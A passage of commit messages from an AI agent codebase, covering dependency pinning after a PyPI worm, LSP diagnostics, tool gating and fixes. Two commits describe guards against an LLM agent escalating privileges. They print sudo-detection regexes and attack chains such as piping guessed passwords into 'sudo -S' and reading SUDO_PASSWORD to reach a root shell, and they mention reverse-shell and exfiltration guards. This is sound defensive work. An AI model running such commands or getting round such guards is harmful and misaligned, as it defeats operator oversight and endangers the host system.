silence (clean writes stay DEBUG), state-transition INFO-once
semantics (active for, no project root), action-required
WARNING-once (server unavailable), per-call WARNING (timeouts,
spawn failures), and the "1000 clean writes => 1 INFO" contract.
- tests/agent/lsp/test_backend_gate.py: 5 tests verifying
_lsp_local_only / snapshot_baseline / maybe_lsp_diagnostics skip
the LSP layer for non-local backends and route correctly for
LocalEnvironment.
- tests/agent/lsp/test_protocol.py: new test_read_message_rejects_runaway_header
exercising the 8 KiB cap.
Validation:
- 73/73 LSP tests pass (49 original + 18 eventlog + 5 backend-gate + 1 framer cap)
- 198/198 pass when run alongside existing file_operations tests
- Live E2E re-run with pyright still surfaces "ERROR [2:12] Type
... reportReturnType (Pyright)" through the full path, then patch
fix removes it on the next call.
* feat(lsp): atexit cleanup + separate lsp_diagnostics JSON field
Two improvements salvaged from #24414's plugin-form alternative,
keeping our core-integrated design:
1. atexit cleanup of spawned language servers
----------------------------------------------------------------
``agent/lsp/__init__.get_service`` now registers an ``atexit``
handler on first creation that tears down the LSPService on
Python exit. Without this, every ``hermes chat`` exit was
leaking pyright/gopls/etc. processes for a few seconds while
their stdout buffers drained -- they got reaped by the kernel
eventually but a watchful ``ps aux`` would catch them.
The handler runs once per process (gated by
``_atexit_registered``); idempotent ``shutdown_service``
ensures double-fire is a no-op. Errors during shutdown are
swallowed at debug level since by the time atexit fires the
user has already seen the agent's final response.
2. Separate ``lsp_diagnostics`` field on WriteResult / PatchResult
----------------------------------------------------------------
Previously the LSP layer folded its diagnostic block into the
``lint.output`` string, conflating the syntax-check tier with
the semantic tier. The agent (and any downstream parsers) now
read syntax errors and semantic errors as independent signals:
{
"bytes_written": 42,
"lint": {"status": "ok", "output": ""},
"lsp_diagnostics": "<diagnostics file=...>\nERROR [2:12] ..."
}
``_check_lint_delta`` returns to its original two-tier shape
(syntax check + delta filter); ``write_file`` and
``patch_replace`` independently fetch LSP diagnostics via
``_maybe_lsp_diagnostics`` and pass them into the new field.
``patch_replace`` propagates the inner write_file's
``lsp_diagnostics`` so the outer PatchResult carries the patch's
delta correctly.
Tests: 19 new
- tests/agent/lsp/test_lifecycle.py (8 tests): atexit registration
fires once and only once across N get_service calls; the
registered callable is our internal shutdown wrapper;
shutdown_service is idempotent and safe when never started;
exceptions during shutdown are swallowed; inactive service is
cached so we don't rebuild on every check.
- tests/agent/lsp/test_diagnostics_field.py (11 tests): WriteResult
/ PatchResult dataclass shape, to_dict include/omit semantics,
channel separation (lint and lsp_diagnostics carry independent
signals), write_file populates the field via
_maybe_lsp_diagnostics only when the syntax tier is clean,
patch_replace propagates the field forward from its internal
write_file.
Validation:
- 92/92 LSP tests pass (73 prior + 8 lifecycle + 11 diagnostics field)
- 217/217 pass with file_operations + LSP combined
- Live E2E reverified: clean writes -> both fields empty/none; type
error introduced -> lint clean (parses), lsp_diagnostics carries
the pyright reportReturnType block; patch fix -> both fields
clean again.
* fix(lsp): broken-set short-circuit so a wedged server isn't paid every write
Discovered while auditing failure paths: a language server binary that
hangs (sleep forever, no LSP traffic on stdin/stdout) caused EVERY
subsequent write to re-pay the 8s snapshot_baseline timeout. Five
writes = ~64s of dead time.
The bug: ``_get_or_spawn`` adds the (server_id, root) pair to
``_broken`` inside its inner exception handler, but when the OUTER
``_loop.run`` timeout fires, it cancels the inner task before that
handler runs. The pair never makes it to broken-set, so the next
write re-enters the spawn path and re-pays the timeout.
Fix:
- New ``_mark_broken_for_file`` helper at the service layer marks
the (server_id, workspace_root) pair broken from the OUTSIDE when
the outer timeout fires. Called from the except branches in
``snapshot_baseline``, ``get_diagnostics_sync`` (asyncio.TimeoutError
+ generic Exception). Also kills any orphan client process that
survived the cancelled future, fire-and-forget with a 1s ceiling.
- ``enabled_for`` now consults the broken-set BEFORE returning True.
Files in already-broken (server_id, root) pairs short-circuit to
False, so the file_operations layer skips the LSP path entirely
with no spawn cost. Until the service is restarted (``hermes lsp
restart``) or the process exits.
- A single eventlog WARNING is emitted on first mark-broken so the
user knows which server gave up. Subsequent edits in the same
project stay silent.
Tests: 7 new in tests/agent/lsp/test_broken_set.py — covers the
key shape (server_id, per_server_root), enabled_for short-circuit,
sibling-file skip in same project, project isolation (broken in
A doesn't affect B), graceful no-op for missing-server / no-workspace,
and an end-to-end test that snapshots after a failure and verifies
the next ``enabled_for`` returns False.
Validation:
- Live retest of the wedged-binary scenario: 5 sequential writes,
first 8.88s (the one snapshot timeout), subsequent four ~0.84s
(no LSP cost). Down from 5x12.85s = 64s before this fix.
- 99/99 LSP tests pass (92 prior + 7 broken-set)
- 224/224 pass with file_operations + LSP combined
- Happy path E2E reverified — clean write, type error introduced,
patch fix all behave correctly with the new broken-set logic.
Note: the FIRST write to a wedged binary still pays 8s (the
snapshot_baseline timeout). We could shorten that, but pyright/
tsserver normally take 2-3s and slow CI rust-analyzer can need
5+ seconds, so 8s is the conservative ceiling. Subsequent writes
are instant.
Daytona ships breaking SDK changes on June 10, 2026 — `list()` returns
an iterator and the `page=` offset parameter is removed. We pin
daytona==0.155.0 so we're past the May 24 hard-cutoff, but the
legacy-sandbox resume path in DaytonaEnvironment still passes `page=1`
and reads `.items` off the result.
Switch to `next(iter(results), None)` against a single-result
`list(labels=..., limit=1)` call. Update tests to use `iter([...])`
and drop the `page=1` kwarg from list() assertions.
Allow integrations to share a visible Camofox identity with Hermes and recover existing tabs without carrying local patches.
Co-authored-by: Cursor <cursoragent@cursor.com>
* feat(security): supply-chain advisory checker + lazy-install framework + tiered install fallback
Three coordinated mitigations for the Mini Shai-Hulud worm hitting
mistralai 2.4.6 on PyPI (2026-05-12) and for the next single-package
compromise that follows.
# What this PR makes true
1. Users with the poisoned mistralai 2.4.6 in their venv get a loud
detection banner with copy-pasteable remediation steps the moment
they run hermes (and on every gateway startup).
2. One quarantined / yanked PyPI package can no longer silently demote
a fresh install to 'core only' — the installer keeps every other
extra and tells the user which tier landed.
3. Future opt-in backends (Mistral, ElevenLabs, Honcho, etc.) can
lazy-install on first use under a strict allowlist, instead of
eagerly pulling everything at install time.
# Detection: hermes_cli/security_advisories.py
- ADVISORIES catalog (one entry currently: shai-hulud-2026-05 for
mistralai==2.4.6). Adding the next one is a single dataclass.
- detect_compromised() uses importlib.metadata.version() — no pip
dependency, works in uv venvs that lack pip.
- Banner cache (~/.hermes/cache/advisory_banner_seen) rate-limits
the startup banner to once per 24h per advisory.
- Acks persisted to security.acked_advisories in config.yaml; never
re-banner after ack.
- Wired into:
* hermes doctor — runs first, prints full remediation block
* hermes doctor --ack <id> — dismisses an advisory
* cli.py interactive run() and single-query branches — short
stderr banner pointing at hermes doctor
* gateway/run.py startup — operator-visible warning in gateway.log
# Lazy-install framework: tools/lazy_deps.py
- LAZY_DEPS allowlist maps namespaced feature keys (tts.elevenlabs,
memory.honcho, provider.bedrock, etc.) to pip specs.
- ensure(feature) installs missing deps in the active venv via the
uv → pip → ensurepip ladder (matches tools_config._pip_install).
- Strict spec safety regex rejects URLs, file paths, shell metas,
pip flag injection, control chars — only PyPI-by-name accepted.
- Gated on security.allow_lazy_installs (default true) plus the
HERMES_DISABLE_LAZY_INSTALLS env var for restricted/audited envs.
- Migrated three backends as proof of pattern:
* tools/tts_tool.py — _import_elevenlabs() calls ensure first
* plugins/memory/honcho/client.py — get_honcho_client lazy-installs
* tts.mistral / stt.mistral entries pre-registered for when PyPI
restores mistralai
# Installer fallback tiers
scripts/install.sh, scripts/install.ps1, setup-hermes.sh:
- Centralised _BROKEN_EXTRAS list (currently: mistral). Edit one
array when a transitive breaks; users keep every other extra.
- New 'all minus known-broken' tier between [all] and the existing
PyPI-only-extras tier. Only kicks in when [all] fails resolve.
- All three tiers explicit: every fallback announces which tier
landed and prints a re-run hint when not on Tier 1.
- install.ps1 and install.sh both regenerate their tier specs from
the same _BROKEN_EXTRAS array so updates stay in sync.
Side effect: install.ps1 Tier 2 spec previously hardcoded 'mistral'
in its extra list — bug fixed by the refactor (mistral is filtered
out).
# Config
hermes_cli/config.py — DEFAULT_CONFIG.security gains:
- acked_advisories: [] (advisory IDs the user has dismissed)
- allow_lazy_installs: True (security gate for ensure())
No config version bump needed — both keys nest under existing
security: block, and load_config's deep-merge picks up DEFAULT_CONFIG
defaults for users with older configs.
# Tests
tests/hermes_cli/test_security_advisories.py — 23 tests covering:
- detect_compromised matches/non-matches, wildcard frozenset
- ack persistence, idempotence, blank rejection, config-failure path
- banner cache rate limiting + 24h re-banner + ack-stops-banner
- short_banner_lines / full_remediation_text / render_doctor_section /
gateway_log_message
- shipped catalog well-formedness invariant
tests/tools/test_lazy_deps.py — 40 tests covering:
- spec safety: 11 safe parametrized + 18 unsafe parametrized
- allowlist: unknown-feature rejection, namespace.name shape,
every shipped spec passes the safety regex
- security gating: config flag, env var, default, fail-open
- ensure() happy/sad paths: already-satisfied, install success,
pip stderr surfaced on failure, install-succeeds-but-still-missing
- is_available, feature_install_command
Combined: 63 new tests, all passing under scripts/run_tests.sh.
# Validation
- scripts/run_tests.sh tests/hermes_cli/test_security_advisories.py
tests/tools/test_lazy_deps.py → 63/63 passing
- scripts/run_tests.sh tests/hermes_cli/test_doctor.py
tests/hermes_cli/test_doctor_command_install.py
tests/tools/test_tts_mistral.py tests/tools/test_transcription_tools.py
tests/tools/test_transcription_dotenv_fallback.py → 165/165 passing
- scripts/run_tests.sh tests/hermes_cli/ tests/tools/ →
9191 passed, 8 pre-existing failures (verified on origin/main
before this change)
- bash -n on install.sh and setup-hermes.sh → OK
- py_compile on all modified .py files → OK
- End-to-end smoke test of detect_compromised + render_doctor_section
+ gateway_log_message with mocked installed version → produces
copy-pasteable remediation output
# Community
Full advisory + remediation steps:
website/docs/community/security-advisories/shai-hulud-mistralai-2026-05.md
Short-form post drafts (Discord, GitHub pinned issue, README banner):
scripts/community-announcement-shai-hulud.md
Refs: PR #24205 (mistral disabled), Socket Security advisory
<https://socket.dev/blog/mini-shai-hulud-worm-pypi>
* build(deps): pin every direct dep to ==X.Y.Z (no ranges)
Companion to the supply-chain advisory work: replace every >=/</~= range
in pyproject.toml's [project.dependencies] and [project.optional-dependencies]
with an exact ==X.Y.Z pin sourced from uv.lock.
Why: ranges allow PyPI to ship a fresh version of any direct dep at any
time without a code review on our side. With ranges, the malicious
mistralai 2.4.6 release would have been pulled by every fresh
'pip install -e .[all]' for the hours between upload and PyPI's
quarantine — exactly the install window we got hit on. Exact pins close
that window: the only way a new package version reaches a user is via
an intentional update on our end.
What the user-facing change is: nothing, behavior-wise. Every package
resolves to the same version it was already resolving to via uv.lock —
the pins just remove the resolver's freedom to pick a different one.
Cost: any user installing Hermes alongside another package that requires
a newer pin gets a resolver conflict. Acceptable for our isolated-venv
install path; documented in the new comment block.
Build-system requires line (setuptools>=61.0) is intentionally left
as a range — pinning the build backend would block fresh pip from
bootstrapping the build on architectures where that exact wheel isn't
available.
mistral extra (mistralai==2.3.0) is pinned but stays out of [all]
(per PR #24205). 'uv lock' regeneration will fail until PyPI restores
mistralai; lockfile regeneration is gated behind that, NOT on every PR.
LAZY_DEPS in tools/lazy_deps.py also moved to exact pins so the lazy-
install pathway can never resolve a different version than the one
declared in pyproject.toml.
Validation:
- Cross-checked all 77 pinned direct deps in pyproject.toml against
uv.lock — every pin matches the resolved version exactly.
- Cross-checked all LAZY_DEPS specs against uv.lock — same.
- 'uv pip install -e .[all] --dry-run' resolves 205 packages cleanly.
- tests/tools/test_lazy_deps.py + tests/hermes_cli/test_security_advisories.py
→ 63/63 passing (every shipped spec passes the safety regex).
- Doctor + TTS + transcription targeted suite → 146/146 passing.
* build(deps): hash-verify transitives via uv.lock; remove unresolvable [mistral] extra
You asked: 'what about the dependencies the dependencies rely on?' —
correctly noting that exact-pinning direct deps in pyproject.toml does
NOT cover the transitive graph. `pip install` and `uv pip install` both
re-resolve transitives fresh from PyPI at install time, so a compromised
transitive (e.g. `httpcore` if it got worm-poisoned tomorrow) would
still hit our users even with every direct dep exact-pinned.
# What this commit fixes
1. **Both real installer scripts now prefer `uv sync --locked` as Tier 0.**
uv.lock records SHA256 hashes for every transitive — a compromised
package with a different hash gets REJECTED. Falls through to the
existing `uv pip install` cascade if the lockfile is missing or
stale, with a loud warning that the fallback path does NOT
hash-verify transitives. Previously only `setup-hermes.sh` (the dev
path) used the lockfile; `scripts/install.sh` and `scripts/install.ps1`
(the paths fresh users actually run) skipped it.
2. **Removed the `[mistral]` extra entirely.** The `mistralai` PyPI
project is fully quarantined right now — every version returns 404,
so any pin we wrote was unresolvable, which broke `uv lock --check`
in CI. Restoration is documented in pyproject.toml as a 5-step
checklist (verify, re-add extra, re-enable in 4 modules, regenerate
lock, optionally re-add to [all]).
3. **Regenerated uv.lock.** 262 packages, mistralai/eval-type-backport/
jsonpath-python pruned. `uv lock --check` now passes.
# Defense-in-depth view
| Layer | Where | Protects against |
|----------------------------|-------------------|-------------------------------------------|
| Exact pins in pyproject | direct deps | new mistralai 2.4.6-style direct compromise |
| uv.lock + `--locked` install | transitive graph | transitive worm injection |
| Tier-0 hash-verified path | install.sh / .ps1 | actually USE the lockfile in fresh installs |
| `uv lock --check` CI gate | every PR | drift between pyproject and lockfile |
| `hermes_cli/security_advisories.py` | runtime | cleanup for users who already got hit |
The exact pinning + hash verification together close the supply-chain
gap. Without the lockfile path, exact pins alone are theater.
# Validation
- `uv lock --check` → passes (262 packages resolved, no drift).
- `bash -n` on install.sh + setup-hermes.sh → OK.
- 209/209 tests passing across new + adjacent test files
(test_lazy_deps.py, test_security_advisories.py, test_doctor.py,
test_tts_mistral.py, test_transcription_tools.py).
- TOML parse OK.
* chore: remove community announcement drafts (PR body covers it)
* build(deps): lazy-install every opt-in backend (anthropic, search, terminal, platforms, dashboard)
Extends the lazy-install framework to cover everything that's not used by
every hermes session. Base install drops from ~60 packages to 45.
Moved out of core dependencies = []:
- anthropic (only when provider=anthropic native, not via aggregators)
- exa-py, firecrawl-py, parallel-web (search backends; only when picked)
- fal-client (image gen; only when picked)
- edge-tts (default TTS but still optional)
New extras in pyproject.toml: [anthropic] [exa] [firecrawl] [parallel-web]
[fal] [edge-tts]. All added to [all].
New LAZY_DEPS entries: provider.anthropic, search.{exa,firecrawl,parallel},
tts.edge, image.fal, memory.hindsight, platform.{telegram,discord,matrix},
terminal.{modal,daytona,vercel}, tool.dashboard.
Each import site now calls ensure() before importing the SDK. Where the
module had a top-level try/except (telegram, discord, fastapi), the
graceful-fallback pattern was extended to lazy-install on first
check_*_requirements() call and re-bind module globals.
Updated test_windows_native_support.py tzdata check from snapshot
(>=2023.3 literal) to invariant (any version + win32 marker).
Validation:
- Base install: 45 packages (was ~60); 6 newly-extracted packages absent
- uv lock --check: passes (262 packages, no drift)
- 209/209 lazy_deps + advisory + doctor + tts/transcription tests passing
- py_compile clean on all 12 modified modules
The `mistralai` PyPI package was quarantined on 2026-05-12 after a
malicious 2.4.6 release. Every fresh resolve (AUR makepkg, Docker build,
CI run, install.sh first-run) currently fails on
`mistralai>=2.3.0,<3` because PyPI returns zero candidates.
Existing users running `hermes update` mostly didn't notice — `hermes
update` falls back from `.[all]` to per-extra retries and silently
skips mistral with a warning that scrolls past. But fresh installs
hard-fail or lose every other extra.
Changes:
- pyproject.toml: drop `hermes-agent[mistral]` from `[all]` and
`[termux-all]`. The `mistral` extra itself is preserved so users
can opt back in once PyPI un-quarantines.
- hermes_cli/tools_config.py: hide Mistral Voxtral TTS from the
`hermes tools` provider picker until restored.
- hermes_cli/web_server.py: drop "mistral" from dashboard STT options.
- tools/transcription_tools.py: explicit `provider: mistral` returns
"none" with a clear status message; auto-detect skips mistral.
- tools/tts_tool.py: dispatcher returns a clear "temporarily disabled"
error before any SDK import attempt (avoids cached-stale-package
surprises).
- tests/tools/: update three test files to assert the new disabled
behavior. Each test docstring records why and points at the rollback
trigger (PyPI un-quarantines mistralai).
Restore plan: revert this commit once the package is available on PyPI
again. The behavior change is intentional and documented in code
comments + test docstrings to make the rollback trivial.
Validation:
- scripts/run_tests.sh tests/tools/ -k 'mistral or stt or tts' →
425/425 passing.
Refs: https://pypi.org/simple/mistralai/ (currently
"pypi:project-status: quarantined").
Set HERMES_SESSION_ID using the existing session_context.py ContextVar
system for concurrency safety (multiple gateway sessions in one process
won't cross-talk). Also writes os.environ as fallback for CLI mode.
Touchpoints:
- gateway/session_context.py: Add _SESSION_ID ContextVar + _VAR_MAP entry
- run_agent.py: Set both ContextVar and os.environ at init and on
context-compression rotation
- tools/environments/local.py: Bridge ContextVars into subprocess env
in _make_run_env() (ContextVars don't propagate to child processes)
- tests/run_agent/test_session_id_env.py: 3 tests covering env, provided
ID, and ContextVar paths
execute_code subprocess already passes HERMES_* prefixed vars through
_scrub_child_env (line 82: _SAFE_ENV_PREFIXES includes 'HERMES_').
Primary use case: webhook-triggered agents that need to include a
`--resume <session_id>` takeover command in their output.
Replace with for all literal-tuple
membership tests. Set lookup is O(1) vs O(n) for tuple — consistent
micro-optimization across the codebase.
608 instances fixed via `ruff --fix --unsafe-fixes`, 0 remaining.
133 files, +626/-626 (net zero).
Adds the only #17873 category not covered by the in-flight PRs #17962
(briandevans, reverse shell + download-execute) and #7993 (SHL0MS,
credential reads + curl/wget exfiltration): sudo invocations that an
LLM-driven agent can drive without TTY interaction.
The agent has no TTY, so the sudo forms that succeed without human
involvement are those reading the password from stdin (`-S` / `--stdin`)
or via an askpass helper (`-A` / `--askpass`). The shell-launch (`-s`)
and list-privileges (`-a`) flags are also gated since they are
privilege-relevant invocations the agent can chain after acquiring the
password (e.g. read SUDO_PASSWORD from .env -> sudo -S -s -> root shell).
Plain `sudo cmd` (no flag) is TTY-bound and excluded.
Two patterns:
1. Direct flag: `\bsudo\b[^;|&\n]*?\s+(?:-s\b|--stdin\b|-a\b|--askpass\b)`
The lazy `[^;|&\n]*?` consumes flag-arguments without spanning
command separators, so `sudo -u root -S whoami` matches (a textbook
offensive form that a strict `(?:\s+-[^\s]+)*` "leading flags only"
pattern would have missed because `root` is a flag-value not a flag).
2. Combined short flags: `\bsudo\b[^;|&\n]*?\s+-[a-z]*[sa][a-z]*\b`
Catches packed forms like `sudo -nS id` where multiple flags share
a single `-X` token.
`_normalize_command_for_detection` lowercases input before pattern
matching (tools/approval.py:340), so case variants of S/s and A/a
collapse — both letter-pairs are gated since each is a privilege-
relevant invocation.
Tests: 21 new cases in TestDetectSudoStdin (12 positive covering all
flag-order permutations including herestring source and printf-piped
forms; 9 negative including TTY-bound `sudo whoami`, interactive
`sudo -i`, env-var reference `$SUDO_USER`, doc lookup `man sudo`,
package install, and the `pseudosudo` word-boundary edge case).
Empirical coverage: 11/11 attacks matched, 0/10 false positives.
Refs: #17873 category 4. Adjacent: #17962 (reverse shell + download-
execute), #7993 (credential reads + curl/wget exfiltration).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Fixes#9590: Block explicit sudo -S (stdin password mode) commands
when the SUDO_PASSWORD environment variable is not configured.
The attack vector: the LLM constructs 'echo guessedpass | sudo -S cmd'
to brute-force sudo passwords, iterates based on sudo's error output
('Sorry, try again'). The existing _transform_sudo_command only
injects -S when SUDO_PASSWORD exists; without it, the LLM's explicit
sudo -S must be treated as a guessing attempt.
Changes:
- Add _check_sudo_stdin_guard() in approval.py: detects sudo -S when
SUDO_PASSWORD is absent, anchored to command-start positions
(^ ; && || | etc.) to avoid false positives on literal text
- Integrate into check_all_command_guards() above yolo/mode=off so
the block is unconditional (like the hardline floor)
- Add 6 tests covering: detection, allow-list, SUDO_PASSWORD bypass,
integration with check_all_command_guards, yolo non-bypass,
container backend bypass
The kanban dispatcher sets HERMES_KANBAN_TASK on every spawned worker
but launches it with the assignee profile's HERMES_HOME (e.g.
~/.hermes/profiles/<name>/), which has no gateway.pid file. The
existing _check_send_message therefore returned False from the
is_gateway_running() fallback, even though the parent gateway is
alive and reachable.
Net effect: workers could call kanban_* tools (gated on
HERMES_KANBAN_TASK in _check_kanban_mode) but not send_message. This
breaks the natural pattern of "worker does the job, calls
send_message to deliver rich content to the originating chat, then
calls kanban_complete with a one-line summary" because the kanban
notifier's payload_summary is hard-truncated to the first line
(~200 chars) at gateway/run.py:3963 — anything richer has to ship
via send_message.
Honoring HERMES_KANBAN_TASK in _check_send_message — symmetric with
_check_kanban_mode in kanban_tools.py:42 — closes the gap. No new
state, no new env var, no profile-config changes required.
Two independent opt-in QoL toggles, both off by default.
terminal.docker_extra_args:
- List of extra flags appended verbatim to docker run after security
defaults. Useful for adding capabilities (e.g. --cap-add SETUID) or
other docker run options not exposed by existing config keys.
- Non-string entries are logged and skipped.
- Also available via TERMINAL_DOCKER_EXTRA_ARGS='[...]' env var.
display.timestamps:
- Appends [HH:MM] to user input bullet and the assistant response box
header. Single hub in _format_submitted_user_message_preview()
covers both single-line and multi-line user previews; assistant
response label gets the timestamp at box-open time.
Closes#1569 (timestamps).
Co-authored-by: Mibayy <Mibayy@users.noreply.github.com>
When kanban_complete rejects a created_cards list as hallucinated, the
task is intentionally left in-flight (the gate runs before the write
txn) so the worker can retry with a corrected list or pass
created_cards=[] to skip the check. The retry path already worked, but
the previous error wording read like a terminal failure and workers
were observed abandoning the run instead of trying again.
Spell out the recovery path explicitly in the tool_error response
("Your task is still in-flight ... Retry kanban_complete with ...") and
add regression coverage at both the kernel and tool layers so the
retry contract — and the wording the worker depends on to discover
it — is pinned.
Fixes#22923
Adds CDPSupervisor.evaluate_runtime() and wires it into _browser_eval as a
fast path when a supervisor is alive for the current task_id. Replaces the
~180ms agent-browser subprocess fork+exec+Node-startup hop with a ~1ms
Runtime.evaluate over the supervisor's already-connected WebSocket.
Falls through to the existing agent-browser CLI path when no supervisor is
running (e.g. backends without CDP, or before the first browser_navigate
attaches one), so behaviour is unchanged where it can't apply.
JS-side exceptions surface directly without falling through to the
subprocess (the subprocess would just re-raise the same error, slower);
supervisor-side failures (loop down, no session) fall through cleanly.
Benchmark — 30 iterations of `1 + 1` against headless Chrome:
supervisor WS mean= 0.96ms median= 0.91ms
agent-browser subprocess mean=179.35ms median=167.73ms
→ 187x speedup mean
Tests: 14 unit tests (mocked supervisor + response-shape coverage), 5
real-Chrome e2e tests in test_browser_supervisor.py (gated on Chrome
being installed). Browser test suite: 355 passed, 1 skipped.
Adapted from PR #20568 commit ce3518578 (Eric Litovsky / @kallidean).
Adds two-tier gating for the kanban tool surface so dispatcher-spawned
workers see only task-lifecycle tools (show/complete/block/heartbeat/
comment/create/link) while orchestrator profiles with `toolsets: [kanban]`
also see board-routing tools (kanban_list, kanban_unblock).
Workers shouldn't be enumerating or unblocking the board — they should
close their own task via the lifecycle tools. Hiding board-routing tools
from worker schemas keeps the worker focused and the toolset-isolation
contract honest.
Plus inherited from the same upstream commit:
- 50/200 row bound on kanban_list with `truncated` + `next_limit` metadata.
- Belt-and-suspenders runtime guard `_require_orchestrator_tool()` inside
the orchestrator handlers in case a stale registration ever routes a
worker to one of them.
- Tests for the new gate, the stricter bound, and the fact that even a
worker with `toolsets: [kanban]` in config still doesn't see board
routing.
Co-authored-by: Eric Litovsky <elitovsky@zenproject.net>
When the active main model has native vision and the provider supports
multimodal tool results (Anthropic, OpenAI Chat, Codex Responses, Gemini
3, OpenRouter, Nous), vision_analyze loads the image bytes and returns
them to the model as a multimodal tool-result envelope. The model then
sees the pixels directly on its next turn instead of receiving a lossy
text description from an auxiliary LLM.
Falls back to the legacy aux-LLM text path for non-vision models and
unverified providers.
Mirrors the architecture used in OpenCode, Claude Code, Codex CLI, and
Cline. All four converge on the same pattern: tool results carry image
content blocks for vision-capable provider/model combinations.
Changes
- tools/vision_tools.py: _vision_analyze_native fast path + provider
capability table (_supports_media_in_tool_results). Schema description
updated to reflect new behaviour.
- agent/codex_responses_adapter.py: function_call_output.output now
accepts the array form for multimodal tool results (was string-only).
Preflight validates input_text/input_image parts.
- agent/auxiliary_client.py: _RUNTIME_MAIN_PROVIDER/_MODEL globals so
tools see the live CLI/gateway override, not the stale config.yaml
default. set_runtime_main()/clear_runtime_main() helpers.
- run_agent.py: AIAgent.run_conversation calls set_runtime_main at turn
start so vision_analyze's fast-path check sees the actual runtime.
- tests/conftest.py: clear runtime-main override between tests.
Tests
- tests/tools/test_vision_native_fast_path.py: provider capability
table, envelope shape, fast-path gating (vision-capable model uses
fast path; non-vision model falls through to aux).
- tests/run_agent/test_codex_multimodal_tool_result.py: list tool
content becomes function_call_output.output array; preflight
preserves arrays and drops unknown part types.
Live verified
- Opus 4.6 + Sonnet 4.6 on OpenRouter: model calls vision_analyze on a
typed filepath, gets pixels back, reads exact text from images that
no aux description could capture (font color irony, multi-line
fruit-count list, etc.).
PR replaces the closed prior efforts (#16506 shipped the inbound user-
attached path; this PR closes the gap for tool-discovered images).
Linux's MAX_ARG_STRLEN caps any single argv element at 128 KB
(32 * PAGE_SIZE). The previous heredoc-in-the-command-string approach
in _write_to_sandbox put the entire tool result inside the 'bash -c'
arg, so any result over ~128 KB raised OSError [Errno 7] 'Argument
list too long' before the heredoc ever ran. The caller logged a
warning, but quiet_mode (CLI default) sets tools.* to ERROR — so the
warning never reached agent.log either, and the agent saw a 1.5 KB
preview tagged 'Full output could not be saved to sandbox'. Hits
delegate_task with 3+ subagent outputs routinely now.
Switch to passing content via env.execute(stdin_data=...). cmd is
now just 'mkdir -p X && cat > Y' (under 1 KB), and the heavyweight
payload travels through stdin where there is no argv-element limit.
E2E reproduced the user's exact 144,778-char delegate_task envelope:
old code OSError'd, new code round-trips cleanly to disk with all
three task summaries intact.
Problem: terminal.docker_env set in config.yaml was silently ignored.
Docker containers never received the user-specified env vars.
Root cause: docker_env was missing from all three config→env bridging
maps (cli.py env_mappings, gateway/run.py _terminal_env_map,
hermes_cli/config.py _config_to_env_sync) and from the terminal_tool
_get_env_config() reader. _create_environment() consumed the key from
container_config correctly, but it was always {} because TERMINAL_DOCKER_ENV
was never set.
Also extend the list-serialisation branches in cli.py and gateway/run.py
to handle dict values via json.dumps (lists already used json.dumps;
plain str() on a dict produces undecodable output).
Fix:
- cli.py: add "docker_env": "TERMINAL_DOCKER_ENV" to env_mappings;
serialise dict values with json.dumps alongside existing list path
- gateway/run.py: same additions to _terminal_env_map and serialisation
- hermes_cli/config.py: add "terminal.docker_env": "TERMINAL_DOCKER_ENV"
to _config_to_env_sync so `hermes config set terminal.docker_env …`
persists to .env correctly
- tools/terminal_tool.py: add docker_env key to _get_env_config() reading
TERMINAL_DOCKER_ENV via _parse_env_var with default "{}"
Tests: add test_docker_env_is_bridged_everywhere to
tests/tools/test_terminal_config_env_sync.py — stash-verified: fails on
origin/main, passes with fix.
Fixes#20537
After Popen succeeds with os.setsid (detached process group), 5 things
happen with no try/except: Thread construction, reader.start(), lock
acquisition, prune+register, checkpoint write. If any raises, the
Popen object goes unregistered and the detached process group leaks
indefinitely.
Wrap the post-spawn setup in try/except. On failure:
- os.killpg(getpgid(pid), SIGKILL) takes down the entire process
group (not just the shell - important because of detached PG +
-lic shell wrapper that may have spawned children)
- proc.kill() fallback for ProcessLookupError/PermissionError/OSError
- proc.wait(timeout=5) reaps with a bound
- re-raise to preserve original traceback
Nested try/except around cleanup so a secondary failure can't mask the
original.
Closes#2749.
Problem
=======
`tools.checkpoint_manager._touch_project` reads the project metadata
file with `json.loads(meta_path.read_text(...))`, then immediately does:
meta["workdir"] = str(_normalize_path(working_dir))
The `except` block only catches `(OSError, ValueError)`. When the file
parses successfully but returns a non-dict value (a list `[]`, `null`,
or a scalar from a corrupted or hand-truncated write), `json.loads`
succeeds without error and `meta` is set to, e.g., `[]`. The subsequent
subscript assignment then raises `TypeError: list indices must be
integers or slices, not str`, which is NOT caught by the narrow except
clause.
This TypeError propagates up through `_take` to `ensure_checkpoint`,
where the broad `except Exception` safety net swallows it. The effect
is that `ensure_checkpoint` silently returns False for the entire
session — all checkpoints are skipped for the affected working directory
without any user-visible error.
Root cause
==========
Missing `isinstance(meta, dict)` guard after `json.loads`, identical in
pattern to bugs fixed in `cron/jobs.py` (#22569) and
`tools/process_registry.py` (#22544). The same guard is already
present one function below in `_list_projects` (line 506), but was
inadvertently omitted in `_touch_project`.
Fix
===
Add two lines after the try/except:
```python
if not isinstance(meta, dict):
meta = {}
```
This matches the existing guard in `_list_projects` and ensures a fresh
empty dict is used whenever the persisted value is not a mapping —
preserving the `created_at` semantics via `setdefault` on the next line.
Tests
=====
`TestTouchProjectMalformedMeta` covers four non-dict root values
(`[]`, `null`, `42`, `"oops"`). Each writes a corrupted metadata file,
calls `_touch_project`, and asserts: (a) no exception raised, (b) the
metadata file is rewritten as a valid dict containing `last_touch` and
`workdir`. All four fail on main with `TypeError`, pass with fix.
Full `tests/tools/test_checkpoint_manager.py` regression: 77 passed.
`tools/image_generation_tool.py` did `import fal_client` at module
top, which pulled the entire fal_client + httpx + rich stack on every
process that ran `discover_builtin_tools()` — every `hermes` cold
start, even ones that never touch image generation.
Make the import lazy: replace the eager import with a placeholder
(`fal_client: Any = None`) and add an idempotent `_load_fal_client()`
that rebinds the module global on first use. Call it from the two
runtime entry points (`_ManagedFalSyncClient.__init__` and
`_submit_fal_request`) and from the SDK-presence check in
`check_image_generation_requirements`.
The loader short-circuits if the global is already truthy, which
preserves the test pattern of monkeypatching `fal_client` to install
a mock — the `monkeypatch.setattr(image_tool, "fal_client", ...)`
calls in test_image_generation.py keep working unchanged.
Measured impact (15-run min times, 9950X3D):
tools.image_generation_tool alone: 77 → 20 ms (-74%)
36 → 20 MB (-44%)
import cli (full): 734 → 720 ms (-2%)
import model_tools: 372 → 366 ms (-2%)
The microbench is dramatic but the full-CLI win is small — fal_client
shares its httpx + rich dependencies with the rest of the agent, so
on a real cold start most of the 16 MB / 64 ms is already paid by
other imports. The win matters mostly for processes that touch this
tool without otherwise loading httpx (rare) and for architectural
